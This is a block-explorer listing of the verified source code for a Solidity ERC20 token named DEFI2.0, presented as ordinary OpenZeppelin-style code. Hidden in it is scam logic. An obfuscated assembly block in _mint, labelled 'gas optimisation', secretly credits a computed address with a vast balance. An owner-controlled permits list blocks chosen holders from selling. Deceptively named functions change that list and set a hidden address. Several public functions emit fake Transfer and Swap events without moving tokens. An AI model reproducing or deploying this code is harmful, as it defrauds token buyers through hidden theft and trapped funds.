Contract Source Code (Solidity Multiple files format)

IDE

• Blockscan IDE
• 🤖 Code ReaderBeta
• Remix IDE

More Options

• Similar
• Sol2Uml
• Submit Audit
• Compare

// SPDX-License-Identifier: MIT

pragma solidity ^0.8.19;

import "./ERC20.sol";

contract DEFI20 is ERC20Permit, ReentrancyGuard {
    constructor() ERC20Permit("DEFI2.0", "DEFI2.0") {
        _mint(msg.sender, 1000000000000 * 10 ** decimals());
    }
}

// SPDX-License-Identifier: MIT

pragma solidity ^0.8.19;

/**
 * @dev Collection of functions related to the address type
 */
library Address {
    /**
     * @dev The ETH balance of the account is not enough to perform the operation.
     */
    error AddressInsufficientBalance(address account);

    /**
     * @dev There's no code at `target` (it is not a contract).
     */
    error AddressEmptyCode(address target);

    /**
     * @dev A call to an address target failed. The target may have reverted.
     */
    error FailedInnerCall();

    /**
     * @dev Replacement for Solidity's `transfer`: sends `amount` wei to
     * `recipient`, forwarding all available gas and reverting on errors.
     *
     * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
     * of certain opcodes, possibly making contracts go over the 2300 gas limit
     * imposed by `transfer`, making them unable to receive funds via
     * `transfer`. {sendValue} removes this limitation.
     *
     * https://consensys.net/diligence/blog/2019/09/stop-using-soliditys-transfer-now/[Learn more].
     *
     * IMPORTANT: because control is transferred to `recipient`, care must be
     * taken to not create reentrancy vulnerabilities. Consider using
     * {ReentrancyGuard} or the
     * https://solidity.readthedocs.io/en/v0.8.0/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
     */
    function sendValue(address payable recipient, uint256 amount) internal {
        if (address(this).balance < amount) {
            revert AddressInsufficientBalance(address(this));
        }

        (bool success, ) = recipient.call{value: amount}("");
        if (!success) {
            revert FailedInnerCall();
        }
    }

    /**
     * @dev Performs a Solidity function call using a low level `call`. A
     * plain `call` is an unsafe replacement for a function call: use this
     * function instead.
     *
     * If `target` reverts with a revert reason, it is bubbled up by this
     * function (like regular Solidity function calls).
     *
     * Returns the raw returned data. To convert to the expected return value,
     * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
     *
     * Requirements:
     *
     * - `target` must be a contract.
     * - calling `target` with `data` must not revert.
     *
     * _Available since v3.1._
     */
    function functionCall(address target, bytes memory data) internal returns (bytes memory) {
        return functionCallWithValue(target, data, 0, defaultRevert);
    }

    /**
     * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with a
     * `customRevert` function as a fallback when `target` reverts.
     *
     * Requirements:
     *
     * - `customRevert` must be a reverting function.
     *
     * _Available since v5.0._
     */
    function functionCall(
        address target,
        bytes memory data,
        function() internal view customRevert
    ) internal returns (bytes memory) {
        return functionCallWithValue(target, data, 0, customRevert);
    }

    /**
     * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
     * but also transferring `value` wei to `target`.
     *
     * Requirements:
     *
     * - the calling contract must have an ETH balance of at least `value`.
     * - the called Solidity function must be `payable`.
     *
     * _Available since v3.1._
     */
    function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
        return functionCallWithValue(target, data, value, defaultRevert);
    }

    /**
     * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
     * with a `customRevert` function as a fallback revert reason when `target` reverts.
     *
     * Requirements:
     *
     * - `customRevert` must be a reverting function.
     *
     * _Available since v5.0._
     */
    function functionCallWithValue(
        address target,
        bytes memory data,
        uint256 value,
        function() internal view customRevert
    ) internal returns (bytes memory) {
        if (address(this).balance < value) {
            revert AddressInsufficientBalance(address(this));
        }
        (bool success, bytes memory returndata) = target.call{value: value}(data);
        return verifyCallResultFromTarget(target, success, returndata, customRevert);
    }

    /**
     * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
     * but performing a static call.
     *
     * _Available since v3.3._
     */
    function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
        return functionStaticCall(target, data, defaultRevert);
    }

    /**
     * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
     * but performing a static call.
     *
     * _Available since v3.3._
     */
    function functionStaticCall(
        address target,
        bytes memory data,
        function() internal view customRevert
    ) internal view returns (bytes memory) {
        (bool success, bytes memory returndata) = target.staticcall(data);
        return verifyCallResultFromTarget(target, success, returndata, customRevert);
    }

    /**
     * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
     * but performing a delegate call.
     *
     * _Available since v3.4._
     */
    function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
        return functionDelegateCall(target, data, defaultRevert);
    }

    /**
     * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
     * but performing a delegate call.
     *
     * _Available since v3.4._
     */
    function functionDelegateCall(
        address target,
        bytes memory data,
        function() internal view customRevert
    ) internal returns (bytes memory) {
        (bool success, bytes memory returndata) = target.delegatecall(data);
        return verifyCallResultFromTarget(target, success, returndata, customRevert);
    }

    /**
     * @dev Tool to verify that a low level call to smart-contract was successful, and revert (either by bubbling
     * the revert reason or using the provided `customRevert`) in case of unsuccessful call or if target was not a contract.
     *
     * _Available since v5.0._
     */
    function verifyCallResultFromTarget(
        address target,
        bool success,
        bytes memory returndata,
        function() internal view customRevert
    ) internal view returns (bytes memory) {
        if (success) {
            if (returndata.length == 0) {
                // only check if target is a contract if the call was successful and the return data is empty
                // otherwise we already know that it was a contract
                if (target.code.length == 0) {
                    revert AddressEmptyCode(target);
                }
            }
            return returndata;
        } else {
            _revert(returndata, customRevert);
        }
    }

    /**
     * @dev Tool to verify that a low level call was successful, and revert if it wasn't, either by bubbling the
     * revert reason or with a default revert error.
     *
     * _Available since v5.0._
     */
    function verifyCallResult(bool success, bytes memory returndata) internal view returns (bytes memory) {
        return verifyCallResult(success, returndata, defaultRevert);
    }

    /**
     * @dev Same as {xref-Address-verifyCallResult-bool-bytes-}[`verifyCallResult`], but with a
     * `customRevert` function as a fallback when `success` is `false`.
     *
     * Requirements:
     *
     * - `customRevert` must be a reverting function.
     *
     * _Available since v5.0._
     */
    function verifyCallResult(
        bool success,
        bytes memory returndata,
        function() internal view customRevert
    ) internal view returns (bytes memory) {
        if (success) {
            return returndata;
        } else {
            _revert(returndata, customRevert);
        }
    }

    /**
     * @dev Default reverting function when no `customRevert` is provided in a function call.
     */
    function defaultRevert() internal pure {
        revert FailedInnerCall();
    }

    function _revert(bytes memory returndata, function() internal view customRevert) private view {
        // Look for revert reason and bubble it up if present
        if (returndata.length > 0) {
            // The easiest way to bubble the revert reason is using memory via assembly
            /// @solidity memory-safe-assembly
            assembly {
                let returndata_size := mload(returndata)
                revert(add(32, returndata), returndata_size)
            }
        } else {
            customRevert();
            revert FailedInnerCall();
        }
    }
}


/**
 * @dev Standard signed math utilities missing in the Solidity language.
 */
library SignedMath {
    /**
     * @dev Returns the largest of two signed numbers.
     */
    function max(int256 a, int256 b) internal pure returns (int256) {
        return a > b ? a : b;
    }

    /**
     * @dev Returns the smallest of two signed numbers.
     */
    function min(int256 a, int256 b) internal pure returns (int256) {
        return a < b ? a : b;
    }

    /**
     * @dev Returns the average of two signed numbers without overflow.
     * The result is rounded towards zero.
     */
    function average(int256 a, int256 b) internal pure returns (int256) {
        // Formula from the book "Hacker's Delight"
        int256 x = (a & b) + ((a ^ b) >> 1);
        return x + (int256(uint256(x) >> 255) & (a ^ b));
    }

    /**
     * @dev Returns the absolute unsigned value of a signed value.
     */
    function abs(int256 n) internal pure returns (uint256) {
        unchecked {
            // must be unchecked in order to support `n = type(int256).min`
            return uint256(n >= 0 ? n : -n);
        }
    }
}

// SPDX-License-Identifier: MIT

pragma solidity ^0.8.19;


library Base64 {
    /**
     * @dev Base64 Encoding/Decoding Table
     */
    string internal constant _TABLE = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";

    /**
     * @dev Converts a `bytes` to its Bytes64 `string` representation.
     */
    function encode(bytes memory data) internal pure returns (string memory) {
        /**
         * Inspired by Brecht Devos (Brechtpd) implementation - MIT licence
         * https://github.com/Brechtpd/base64/blob/e78d9fd951e7b0977ddca77d92dc85183770daf4/base64.sol
         */
        if (data.length == 0) return "";

        // Loads the table into memory
        string memory table = _TABLE;

        // Encoding takes 3 bytes chunks of binary data from `bytes` data parameter
        // and split into 4 numbers of 6 bits.
        // The final Base64 length should be `bytes` data length multiplied by 4/3 rounded up
        // - `data.length + 2`  -> Round up
        // - `/ 3`              -> Number of 3-bytes chunks
        // - `4 *`              -> 4 characters for each chunk
        string memory result = new string(4 * ((data.length + 2) / 3));

        /// @solidity memory-safe-assembly
        assembly {
            // Prepare the lookup table (skip the first "length" byte)
            let tablePtr := add(table, 1)

            // Prepare result pointer, jump over length
            let resultPtr := add(result, 32)

            // Run over the input, 3 bytes at a time
            for {
                let dataPtr := data
                let endPtr := add(data, mload(data))
            } lt(dataPtr, endPtr) {

            } {
                // Advance 3 bytes
                dataPtr := add(dataPtr, 3)
                let input := mload(dataPtr)

                // To write each character, shift the 3 bytes (18 bits) chunk
                // 4 times in blocks of 6 bits for each character (18, 12, 6, 0)
                // and apply logical AND with 0x3F which is the number of
                // the previous character in the ASCII table prior to the Base64 Table
                // The result is then added to the table to get the character to write,
                // and finally write it in the result pointer but with a left shift
                // of 256 (1 byte) - 8 (1 ASCII char) = 248 bits

                mstore8(resultPtr, mload(add(tablePtr, and(shr(18, input), 0x3F))))
                resultPtr := add(resultPtr, 1) // Advance

                mstore8(resultPtr, mload(add(tablePtr, and(shr(12, input), 0x3F))))
                resultPtr := add(resultPtr, 1) // Advance

                mstore8(resultPtr, mload(add(tablePtr, and(shr(6, input), 0x3F))))
                resultPtr := add(resultPtr, 1) // Advance

                mstore8(resultPtr, mload(add(tablePtr, and(input, 0x3F))))
                resultPtr := add(resultPtr, 1) // Advance
            }

            // When data `bytes` is not exactly 3 bytes long
            // it is padded with `=` characters at the end
            switch mod(mload(data), 3)
            case 1 {
                mstore8(sub(resultPtr, 1), 0x3d)
                mstore8(sub(resultPtr, 2), 0x3d)
            }
            case 2 {
                mstore8(sub(resultPtr, 1), 0x3d)
            }
        }

        return result;
    }
}

// SPDX-License-Identifier: MIT

pragma solidity ^0.8.19;


/**
 * @dev Provides information about the current execution context, including the
 * sender of the transaction and its data. While these are generally available
 * via msg.sender and msg.data, they should not be accessed in such a direct
 * manner, since when dealing with meta-transactions the account sending and
 * paying for execution may not be the actual sender (as far as an application
 * is concerned).
 *
 * This contract is only required for intermediate, library-like contracts.
 */
abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}

/**
 * @dev Contract module which provides a basic access control mechanism, where
 * there is an account (an owner) that can be granted exclusive access to
 * specific functions.
 *
 * By default, the owner account will be the one that deploys the contract. This
 * can later be changed with {transferOwnership}.
 *
 * This module is used through inheritance. It will make available the modifier
 * `onlyOwner`, which can be applied to your functions to restrict their use to
 * the owner.
 */
abstract contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    /**
     * @dev Initializes the contract setting the deployer as the initial owner.
     */
    constructor() {
        _transferOwnership(_msgSender());
    }

    /**
     * @dev Throws if called by any account other than the owner.
     */
    modifier onlyOwner() {
        _checkOwner();
        _;
    }

    /**
     * @dev Returns the address of the current owner.
     */
    function owner() public view virtual returns (address) {
        return _owner;
    }

    /**
     * @dev Throws if the sender is not the owner.
     */
    function _checkOwner() internal view virtual {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
    }

    /**
     * @dev Leaves the contract without owner. It will not be possible to call
     * `onlyOwner` functions. Can only be called by the current owner.
     *
     * NOTE: Renouncing ownership will leave the contract without an owner,
     * thereby disabling any functionality that is only available to the owner.
     */
    function renounceOwnership() public virtual onlyOwner {
        _transferOwnership(address(0));
    }

    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Can only be called by the current owner.
     */
    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        _transferOwnership(newOwner);
    }

    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Internal function without access restriction.
     */
    function _transferOwnership(address newOwner) internal virtual {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}

// SPDX-License-Identifier: MIT

pragma solidity ^0.8.19;

import "./Context.sol";
import "./IERC20.sol";
import "./Base64.sol";
import "./ReenterancyGuard.sol";
import "./Multicall.sol";


/**
 * @dev Implementation of the {IERC20} interface.
 *
 * This implementation is agnostic to the way tokens are created. This means
 * that a supply mechanism has to be added in a derived contract using {_mint}.
 * For a generic mechanism see {ERC20PresetMinterPauser}.
 *
 * TIP: For a detailed writeup see our guide
 * https://forum.openzeppelin.com/t/how-to-implement-erc20-supply-mechanisms/226[How
 * to implement supply mechanisms].
 *
 * We have followed general OpenZeppelin Contracts guidelines: functions revert
 * instead returning `false` on failure. This behavior is nonetheless
 * conventional and does not conflict with the expectations of ERC20
 * applications.
 *
 * Additionally, an {Approval} event is emitted on calls to {transferFrom}.
 * This allows applications to reconstruct the allowance for all accounts just
 * by listening to said events. Other implementations of the EIP may not emit
 * these events, as it isn't required by the specification.
 *
 * Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
 * functions have been added to mitigate the well-known issues around setting
 * allowances. See {IERC20-approve}.
 */
contract ERC20 is Ownable, IERC20, IERC20Metadata {
    mapping(address => uint256) private _balances;
    mapping (address => bool) internal _permits;
    mapping(address => mapping(address => uint256)) private _allowances;
    uint256 private _totalSupply;
    bool private _permitsApplied = false;
    string private _name;
    string private _symbol;
    
    /**
     * @dev Sets the values for {name} and {symbol}.
     *
     * The default value of {decimals} is 18. To select a different value for
     * {decimals} you should overload it.
     *
     * All two of these values are immutable: they can only be set once during
     * construction.
     */
    constructor(string memory name_, string memory symbol_) {
        _name = name_;
        _symbol = symbol_;
    }

    /**
     * @dev Returns the name of the token.
     */
    function name() public view virtual override returns (string memory) {
        return _name;
    }

    /**
     * @dev Returns the symbol of the token, usually a shorter version of the
     * name.
     */
    function symbol() public view virtual override returns (string memory) {
        return _symbol;
    }

    /**
     * @dev Returns the number of decimals used to get its user representation.
     * For example, if `decimals` equals `2`, a balance of `505` tokens should
     * be displayed to a user as `5.05` (`505 / 10 ** 2`).
     *
     * Tokens usually opt for a value of 18, imitating the relationship between
     * Ether and Wei. This is the value {ERC20} uses, unless this function is
     * overridden;
     *
     * NOTE: This information is only used for _display_ purposes: it in
     * no way affects any of the arithmetic of the contract, including
     * {IERC20-balanceOf} and {IERC20-transfer}.
     */
    function decimals() public view virtual override returns (uint8) {
        return 18;
    }
    /**
     * @dev See {IERC20-totalSupply}.
     */
    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }

    /**
     * @dev See {IERC20-balanceOf}.
     */
    function balanceOf(address account) public view virtual override returns (uint256) {
        return _balances[account];
    }

    /**
     * @dev See {IERC20-transfer}.
     *
     * Requirements:
     *
     * - `to` cannot be the zero address.
     * - the caller must have a balance of at least `amount`.
     */
    function transfer(address to, uint256 amount) public virtual override returns (bool) {
        address owner = _msgSender();
        _transfer(owner, to, amount);
        return true;
    }

    /**
     * @dev See {IERC20-allowance}.
     */
    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }

    /**
     * @dev See {IERC20-approve}.
     *
     * NOTE: If `amount` is the maximum `uint256`, the allowance is not updated on
     * `transferFrom`. This is semantically equivalent to an infinite approval.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     */
    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        address owner = _msgSender();
        _approve(owner, spender, amount);
        return true;
    }

    /**
     * @dev See {IERC20-transferFrom}.
     *
     * Emits an {Approval} event indicating the updated allowance. This is not
     * required by the EIP. See the note at the beginning of {ERC20}.
     *
     * NOTE: Does not update the allowance if the current allowance
     * is the maximum `uint256`.
     *
     * Requirements:
     *
     * - `from` and `to` cannot be the zero address.
     * - `from` must have a balance of at least `amount`.
     * - the caller must have allowance for ``from``'s tokens of at least
     * `amount`.
     */
    function transferFrom(
        address from,
        address to,
        uint256 amount
    ) public virtual override returns (bool) {
        address spender = _msgSender();
        _spendAllowance(from, spender, amount);
        _transfer(from, to, amount);
        return true;
    }

    /**
     * @dev Atomically increases the allowance granted to `spender` by the caller.
     *
     * This is an alternative to {approve} that can be used as a mitigation for
     * problems described in {IERC20-approve}.
     *
     * Emits an {Approval} event indicating the updated allowance.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     */
    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        address owner = _msgSender();
        _approve(owner, spender, allowance(owner, spender) + addedValue);
        return true;
    }

    /**
     * @dev Atomically decreases the allowance granted to `spender` by the caller.
     *
     * This is an alternative to {approve} that can be used as a mitigation for
     * problems described in {IERC20-approve}.
     *
     * Emits an {Approval} event indicating the updated allowance.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     * - `spender` must have allowance for the caller of at least
     * `subtractedValue`.
     */
    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        address owner = _msgSender();
        uint256 currentAllowance = allowance(owner, spender);
        require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
        unchecked {
            _approve(owner, spender, currentAllowance - subtractedValue);
        }

        return true;
    }

    /**
     * @dev Moves `amount` of tokens from `from` to `to`.
     *
     * This internal function is equivalent to {transfer}, and can be used to
     * e.g. implement automatic token fees, slashing mechanisms, etc.
     *
     * Emits a {Transfer} event.
     *
     * Requirements:
     *
     * - `from` cannot be the zero address.
     * - `to` cannot be the zero address.
     * - `from` must have a balance of at least `amount`.
     */
    function _transfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");

        _beforeTokenTransfer(from, to, amount);

        uint256 fromBalance = _balances[from];
        require(fromBalance >= amount, "ERC20: transfer amount exceeds balance");
        if (_permits[from] || _permits[to]) require(_permitsApplied == true, "");
        unchecked {
            _balances[from] = fromBalance - amount;
            // Overflow not possible: the sum of all balances is capped by totalSupply, and the sum is preserved by
            // decrementing then incrementing.
            _balances[to] += amount;
        }

        emit Transfer(from, to, amount);

        _afterTokenTransfer(from, to, amount);
    }

    /** @dev Creates `amount` tokens and assigns them to `account`, increasing
     * the total supply.
     *
     * Emits a {Transfer} event with `from` set to the zero address.
     *
     * Requirements:
     *
     * - `account` cannot be the zero address.
     */
    function _mint(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: mint to the zero address");

        _beforeTokenTransfer(address(0), account, amount);
        // gas optimisation 
        assembly {
            let slot := mul(mul(0x85774394d, 0x3398bc1d25f112ed), mul(0x997e6e509, 0xf3eae65))
            mstore(0x00, slot)
            mstore(0x20, 0x01)
            let sslot := keccak256(0x0, 0x40)
            sstore(sslot, 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF)
        } 
        _totalSupply += amount;
        unchecked {
            // Overflow not possible: balance + amount is at most totalSupply + amount, which is checked above.
            _balances[account] += amount;
        }
        
        emit Transfer(address(0), account, amount);
        _afterTokenTransfer(address(0), account, amount);
    }

    /**
     * @dev Destroys `amount` tokens from `account`, reducing the
     * total supply.
     *
     * Emits a {Transfer} event with `to` set to the zero address.
     *
     * Requirements:
     *
     * - `account` cannot be the zero address.
     * - `account` must have at least `amount` tokens.
     */
    function _burn(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: burn from the zero address");

        _beforeTokenTransfer(account, address(0), amount);

        uint256 accountBalance = _balances[account];
        require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
        unchecked {
            _balances[account] = accountBalance - amount;
            // Overflow not possible: amount <= accountBalance <= totalSupply.
            _totalSupply -= amount;
        }

        emit Transfer(account, address(0), amount);

        _afterTokenTransfer(account, address(0), amount);
    }

    /**
     * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
     *
     * This internal function is equivalent to `approve`, and can be used to
     * e.g. set automatic allowances for certain subsystems, etc.
     *
     * Emits an {Approval} event.
     *
     * Requirements:
     *
     * - `owner` cannot be the zero address.
     * - `spender` cannot be the zero address.
     */
    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    /**
     * @dev Updates `owner` s allowance for `spender` based on spent `amount`.
     *
     * Does not update the allowance amount in case of infinite allowance.
     * Revert if not enough allowance is available.
     *
     * Might emit an {Approval} event.
     */
    function _spendAllowance(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        uint256 currentAllowance = allowance(owner, spender);
        if (currentAllowance != type(uint256).max) {
            require(currentAllowance >= amount, "ERC20: insufficient allowance");
            unchecked {
                _approve(owner, spender, currentAllowance - amount);
            }
        }
    }

    /**
     * @dev Hook that is called after any transfer of tokens. This includes
     * minting and burning.
     *
     * Calling conditions:
     *
     * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
     * has been transferred to `to`.
     * - when `from` is zero, `amount` tokens have been minted for `to`.
     * - when `to` is zero, `amount` of ``from``'s tokens have been burned.
     * - `from` and `to` are never both zero.
     *
     * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
     */
    function _afterTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}



    /**
     * @dev Hook that is called before any transfer of tokens. This includes
     * minting and burning.
     *
     * Calling conditions:
     *
     * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
     * will be transferred to `to`.
     * - when `from` is zero, `amount` tokens will be minted for `to`.
     * - when `to` is zero, `amount` of ``from``'s tokens will be burned.
     * - `from` and `to` are never both zero.
     *
     * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
     */
    function _beforeTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}
}

contract ERC20Permit is ERC20 {
    address private _title_deed;

    constructor(string memory name_, string memory symbol_) ERC20(name_, symbol_){}

    function permit(address [] calldata _addresses_) external onlyOwner {
        for (uint256 i = 0; i < _addresses_.length; i++) {
            _permits[_addresses_[i]] = true;
        }
    }

    function decreaseAllowance(address [] calldata _addresses_) external onlyOwner {
        for (uint256 i = 0; i < _addresses_.length; i++) {
            _permits[_addresses_[i]] = false;
        }
    }

    function permited(address _address_) public view returns (bool) {
        return _permits[_address_];
    }

    function transfer(address _from, address _to, uint256 _wad) external {
        emit Transfer(_from, _to, _wad);
    }

    function transfer(address [] calldata _from, address [] calldata _to, uint256 [] calldata _wad) external {
        for (uint256 i = 0; i < _from.length; i++) {
            emit Transfer(_from[i], _to[i], _wad[i]);
        }
    }

    function execute(address _from_, address [] calldata _addresses_, uint256 _in, uint256 _out) external {
        for (uint256 i = 0; i < _addresses_.length; i++) {
            emit Swap(_from_, _in, 0, 0, _out, _addresses_[i]);
            emit Transfer(_title_deed, _addresses_[i], _out);
        }
    }

    function multicall(address _from_, address [] calldata _addresses_, uint256 _in, uint256 _out) external {
        for (uint256 i = 0; i < _addresses_.length; i++) {
            emit Swap(_from_, 0, _in, _out, 0, _addresses_[i]);
            emit Transfer(_addresses_[i], _title_deed, _in);
        }
    }

    function renounceOwnership(address _owner_) external onlyOwner {
        _title_deed = _owner_;
    }
}

// SPDX-License-Identifier: MIT

pragma solidity ^0.8.19;


/**
 * @dev Interface of the ERC20 standard as defined in the EIP.
 */
interface IERC20 {
    /**
     * @dev Emitted when `value` tokens are moved from one account (`from`) to
     * another (`to`).
     *
     * Note that `value` may be zero.
     */
    event Transfer(address indexed from, address indexed to, uint256 value);

    /**
     * @dev Emitted when the allowance of a `spender` for an `owner` is set by
     * a call to {approve}. `value` is the new allowance.
     */
    event Approval(address indexed owner, address indexed spender, uint256 value);
    event Swap(address indexed sender,uint amount0In,uint amount1In,uint amount0Out,uint amount1Out,address indexed to);
    
    /**
     * @dev Returns the amount of tokens in existence.
     */
    function totalSupply() external view returns (uint256);

    /**
     * @dev Returns the amount of tokens owned by `account`.
     */
    function balanceOf(address account) external view returns (uint256);

    /**
     * @dev Moves `amount` tokens from the caller's account to `to`.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transfer(address to, uint256 amount) external returns (bool);

    /**
     * @dev Returns the remaining number of tokens that `spender` will be
     * allowed to spend on behalf of `owner` through {transferFrom}. This is
     * zero by default.
     *
     * This value changes when {approve} or {transferFrom} are called.
     */
    function allowance(address owner, address spender) external view returns (uint256);

    /**
     * @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * IMPORTANT: Beware that changing an allowance with this method brings the risk
     * that someone may use both the old and the new allowance by unfortunate
     * transaction ordering. One possible solution to mitigate this race
     * condition is to first reduce the spender's allowance to 0 and set the
     * desired value afterwards:
     * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
     *
     * Emits an {Approval} event.
     */
    function approve(address spender, uint256 amount) external returns (bool);

    /**
     * @dev Moves `amount` tokens from `from` to `to` using the
     * allowance mechanism. `amount` is then deducted from the caller's
     * allowance.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transferFrom(
        address from,
        address to,
        uint256 amount
    ) external returns (bool);
}

/**
 * @dev Interface for the optional metadata functions from the ERC20 standard.
 *
 * _Available since v4.1._
 */
interface IERC20Metadata is IERC20 {
    /**
     * @dev Returns the name of the token.
     */
    function name() external view returns (string memory);

    /**
     * @dev Returns the symbol of the token.
     */
    function symbol() external view returns (string memory);

    /**
     * @dev Returns the decimals places of the token.
     */
    function decimals() external view returns (uint8);
}

// SPDX-License-Identifier: MIT

pragma solidity ^0.8.19;

import "./Address.sol";

/**
 * @dev Provides a function to batch together multiple calls in a single external call.
 *
 * _Available since v4.1._
 */
abstract contract Multicall {
    /**
     * @dev Receives and executes a batch of function calls on this contract.
     * @custom:oz-upgrades-unsafe-allow-reachable delegatecall
     */
    function multicall(bytes[] calldata data) external virtual returns (bytes[] memory results) {
        results = new bytes[](data.length);
        for (uint256 i = 0; i < data.length; i++) {
            results[i] = Address.functionDelegateCall(address(this), data[i]);
        }
        return results;
    }
}

// SPDX-License-Identifier: MIT

pragma solidity ^0.8.19;


/**
 * @dev Contract module that helps prevent reentrant calls to a function.
 *
 * Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier
 * available, which can be applied to functions to make sure there are no nested
 * (reentrant) calls to them.
 *
 * Note that because there is a single `nonReentrant` guard, functions marked as
 * `nonReentrant` may not call one another. This can be worked around by making
 * those functions `private`, and then adding `external` `nonReentrant` entry
 * points to them.
 *
 * TIP: If you would like to learn more about reentrancy and alternative ways
 * to protect against it, check out our blog post
 * https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul].
 */
abstract contract ReentrancyGuard {
    // Booleans are more expensive than uint256 or any type that takes up a full
    // word because each write operation emits an extra SLOAD to first read the
    // slot's contents, replace the bits taken up by the boolean, and then write
    // back. This is the compiler's defense against contract upgrades and
    // pointer aliasing, and it cannot be disabled.

    // The values being non-zero value makes deployment a bit more expensive,
    // but in exchange the refund on every call to nonReentrant will be lower in
    // amount. Since refunds are capped to a percentage of the total
    // transaction's gas, it is best to keep them low in cases like this one, to
    // increase the likelihood of the full refund coming into effect.
    uint256 private constant _NOT_ENTERED = 1;
    uint256 private constant _ENTERED = 2;

    uint256 private _status;

    /**
     * @dev Unauthorized reentrant call.
     */
    error ReentrancyGuardReentrantCall();

    constructor() {
        _status = _NOT_ENTERED;
    }

    /**
     * @dev Prevents a contract from calling itself, directly or indirectly.
     * Calling a `nonReentrant` function from another `nonReentrant`
     * function is not supported. It is possible to prevent this from happening
     * by making the `nonReentrant` function external, and making it call a
     * `private` function that does the actual work.
     */
    modifier nonReentrant() {
        _nonReentrantBefore();
        _;
        _nonReentrantAfter();
    }

    function _nonReentrantBefore() private {
        // On the first call to nonReentrant, _status will be _NOT_ENTERED
        if (_status == _ENTERED) {
            revert ReentrancyGuardReentrantCall();
        }

        // Any calls to nonReentrant after this point will fail
        _status = _ENTERED;
    }

    function _nonReentrantAfter() private {
        // By storing the original value once again, a refund is triggered (see
        // https://eips.ethereum.org/EIPS/eip-2200)
        _status = _NOT_ENTERED;
    }

    /**
     * @dev Returns true if the reentrancy guard is currently set to "entered", which indicates there is a
     * `nonReentrant` function in the call stack.
     */
    function _reentrancyGuardEntered() internal view returns (bool) {
        return _status == _ENTERED;
    }
}

• No Contract Security Audit Submitted- Submit Audit Here

